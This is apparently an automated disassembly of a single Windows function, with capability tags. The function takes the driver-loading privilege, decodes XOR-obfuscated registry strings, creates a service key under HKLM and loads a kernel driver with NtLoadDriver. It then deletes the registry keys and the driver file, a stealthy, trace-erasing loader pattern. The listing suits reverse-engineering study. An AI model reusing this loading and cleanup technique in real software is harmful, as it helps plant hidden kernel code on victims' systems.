Function at 0x180035920
Capabilities:
Authenticate hmac
Delete file
Delete registry key
Encode data using xor
Install driver
Set registry value
Unload driver

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
movzx r12d, r8b
mov r13, rdx
mov r14, rcx
xor edx, edx
mov r8d, 0xc8
lea rcx, [rbp - 0x50]
movzx r15d, r9b
call fcn.18010bdb0
xor edx, edx
lea rcx, [rbp + 0x80]
mov r8d, 0x100
call fcn.18010bdb0
xor ebx, ebx
mov dword [rsp + 0x40], 1
xorps xmm0, xmm0
mov qword [rsp + 0x48], rbx
xorps xmm1, xmm1
lea r9, [rsp + 0x44]
xor r8d, r8d
mov dl, 1
lea ecx, [rbx + 0xa]
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm1
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
xor r9d, r9d
lea r8, [rbp + 0x80]
mov edx, 0x100
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x1800359c4
lea eax, [rbx + 1]
jmp 0x18003696b
mov eax, dword [0x180183cb8]
mov r8d, ebx
movups xmm0, xmmword [str.cHAGQXjtMKHRIP.50__]
mov qword [rsp + 0x2c0], rsi
movups xmm1, xmmword [0x180183ca8]
mov esi, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x180183cbc]
mov byte [rsp + 0x74], al
movaps xmmword [rsp + 0x280], xmm6
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm1
cmp esi, 2
jl 0x180035b49
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
lea rcx, [rsp + 0x54]
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x180187660]
movdqa xmm6, xmmword [0x180187420]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x180035a42
cmp r8d, 0x25
jge 0x180035b91
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x180035b60
mov r8, r14
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.180038b40
test r15b, r15b
jne 0x180035efa
lea r8, [rsp + 0x48]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x180035bcf
mov eax, 2
jmp 0x18003695b
mov eax, dword [str.dHBV4]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
mov r9d, 4
mov dword [rsp + 0x30], eax
xor r8d, r8d
movzx eax, byte [0x180183c44]
xor byte [rsp + 0x31], 0x31
xor al, 0x34
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0x54
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [0x180183c50]
mov r8d, ebx
movsd xmm0, qword [str.uC_FvYYLKUW_]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180183c54]
mov byte [rsp + 0x3c], al
movsd qword [rsp + 0x30], xmm0
cmp esi, 2
jl 0x180035d56
movdqa xmm2, xmmword [0x1801873c0]
mov r8d, 8
movdqa xmm4, xmmword [0x180187660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x180187400]
movdqa xmm0, xmm2
mov eax, dword [str.00000000000000009999999999999999]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187420]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.uC_FvYYLKUW_]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x30], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187420]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
movd xmm1, dword [rsp + 0x34]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180035d61
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x30]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [str.cESA_5]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
mov r9d, 4
mov dword [rsp + 0x30], eax
xor r8d, r8d
movzx eax, word [0x180183b20]
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
mov word [rsp + 0x34], ax
xor al, 0x34
xor byte [rsp + 0x35], 0x35
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0x53
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
movzx ecx, word [0x180183c64]
lea r8, [rbp + 0x80]
mov eax, dword [0x180183c60]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x180183c66]
xor byte [rsp + 0x31], 0x31
xor al, 0x36
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
mov word [rsp + 0x34], cx
xor cl, 0x34
xor byte [rsp + 0x35], 0x35
mov byte [rsp + 0x34], cl
lea rcx, [rbp - 0x50]
mov byte [rsp + 0x30], 0x5c
mov byte [rsp + 0x36], al
call fcn.180038b40
cmp byte [0x180183ad9], bl
movsd xmm0, qword [str.ySTQeWCP9]
movzx ecx, word [0x180183ad8]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], cx
je 0x180035ec9
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor byte [rsp + 0x34], 0x34
xor byte [rsp + 0x35], 0x35
xor byte [rsp + 0x36], 0x36
xor byte [rsp + 0x37], 0x37
xor byte [rsp + 0x38], 0x38
xor byte [rsp + 0x39], 0x39
mov byte [rsp + 0x30], 0x49
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x180183b88]
mov r8d, ebx
mov dword [rbp - 0x80], eax
movzx eax, word [0x180183b8c]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x180183b8e]
mov qword [rsp + 0x2c8], rdi
mov byte [rbp - 0x7a], al
movups xmm0, xmmword [str.lcWT_FBEAewZ_UWQ_]
movups xmm1, xmmword [0x180183b68]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x180183b78]
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x70], xmm0
cmp esi, 2
jl 0x180036087
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
lea rcx, [rsp + 0x54]
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x180187660]
movdqa xmm6, xmmword [0x180187420]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x180035f80
cmp r8d, 0x37
jge 0x1800360d1
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x37
jl 0x1800360a0
mov r8, r14
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.180038b40
lea rcx, [rbp - 0x50]
mov word [rbp - 0x68], ax
mov qword [rbp - 0x60], rcx
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x78]
mov r8b, 1
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
mov edi, eax
test eax, eax
js 0x18003614b
lea rcx, [rbp - 0x78]
test r12b, r12b
je 0x180036139
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov edi, eax
cmp eax, 0xc000010e
jne 0x180036141
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov edi, eax
test eax, eax
js 0x180036141
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
jmp 0x18003613f
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov edi, eax
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
test r15b, r15b
jne 0x1800368ef
movzx eax, word [0x180183ab8]
mov r8d, ebx
mov word [rsp + 0x70], ax
movzx eax, byte [0x180183aba]
mov byte [rsp + 0x72], al
movups xmm0, xmmword [0x180183a98]
movups xmm1, xmmword [0x180183aa8]
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm1
cmp esi, 2
jl 0x1800362c7
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
lea rcx, [rsp + 0x54]
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x180187660]
movdqa xmm6, xmmword [0x180187420]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x1800361c0
cmp r8d, 0x23
jge 0x180036311
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x1800362e0
cmp byte [0x180183cd9], bl
movsd xmm0, qword [0x180183cd0]
movzx eax, word [0x180183cd8]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], ax
je 0x180036365
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor byte [rsp + 0x34], 0x34
xor byte [rsp + 0x35], 0x35
xor byte [rsp + 0x36], 0x36
xor byte [rsp + 0x37], 0x37
xor byte [rsp + 0x38], 0x38
xor byte [rsp + 0x39], 0x39
mov byte [rsp + 0x30], 0x25
mov r9, r14
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.180038b40
lea rdx, [rbp - 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
movzx eax, word [0x180183ab8]
mov r8d, ebx
mov word [rsp + 0x70], ax
movzx eax, byte [0x180183aba]
mov byte [rsp + 0x72], al
movups xmm0, xmmword [0x180183a98]
movups xmm1, xmmword [0x180183aa8]
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm1
cmp esi, 2
jl 0x180036507
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
lea rcx, [rsp + 0x54]
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x180187660]
movdqa xmm6, xmmword [0x180187420]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x180036400
cmp r8d, 0x23
jge 0x180036551
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x180036520
cmp byte [0x180183aed], bl
mov eax, dword [0x180183ae8]
movsd xmm0, qword [0x180183ae0]
mov dword [rsp + 0x38], eax
movzx eax, word [0x180183aec]
mov word [rsp + 0x3c], ax
movsd qword [rsp + 0x30], xmm0
je 0x1800366d1
mov r8d, ebx
cmp esi, 2
jl 0x18003668f
movdqa xmm2, xmmword [0x1801873c0]
mov r8d, 8
movdqa xmm4, xmmword [0x180187660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x180187400]
movdqa xmm0, xmm2
mov eax, dword [str.00000000000000009999999999999999]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187420]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x180183ae0]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x30], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187420]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
movd xmm1, dword [rsp + 0x34]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800366a0
mov r9, r14
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.180038b40
lea rdx, [rbp - 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
movzx eax, word [0x180183ab8]
mov word [rsp + 0x70], ax
movzx eax, byte [0x180183aba]
mov byte [rsp + 0x72], al
movups xmm0, xmmword [0x180183a98]
movups xmm1, xmmword [0x180183aa8]
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm1
cmp esi, 2
jl 0x180036864
movdqa xmm0, xmmword [str.00000000000000009999999999999999]
lea rcx, [rsp + 0x54]
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x180187660]
movdqa xmm6, xmmword [0x180187420]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
nop
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
mov eax, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x20
jl 0x180036760
cmp eax, 0x23
jge 0x18003689d
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, bl
inc ebx
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp ebx, 0x23
jl 0x180036870
mov eax, dword [0x180183c58]
lea r8, [rsp + 0x50]
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x30]
movzx eax, byte [0x180183c5c]
lea rcx, [rbp - 0x50]
xor byte [rsp + 0x31], 0x31
xor al, 0x34
xor byte [rsp + 0x32], 0x32
mov r9, r14
xor byte [rsp + 0x33], 0x33
mov byte [rsp + 0x34], al
mov byte [rsp + 0x30], 0x25
call fcn.180038b40
lea rdx, [rbp - 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test r12b, r12b
jne 0x180036951
movzx ecx, word [0x180183acc]
lea rdx, [rsp + 0x30]
mov eax, dword [0x180183ac8]
mov r8, r14
mov dword [rsp + 0x30], eax
movzx eax, byte [0x180183ace]
xor byte [rsp + 0x31], 0x31
xor al, 0x36
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
mov word [rsp + 0x34], cx
xor cl, 0x34
xor byte [rsp + 0x35], 0x35
mov byte [rsp + 0x34], cl
lea rcx, [rbp - 0x50]
mov byte [rsp + 0x30], 0x5c
mov byte [rsp + 0x36], al
call fcn.180038b40
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
mov rdi, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2c0]
movaps xmm6, xmmword [rsp + 0x280]
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x290
pop r15
pop r14
pop r13
pop r12
pop rbp
ret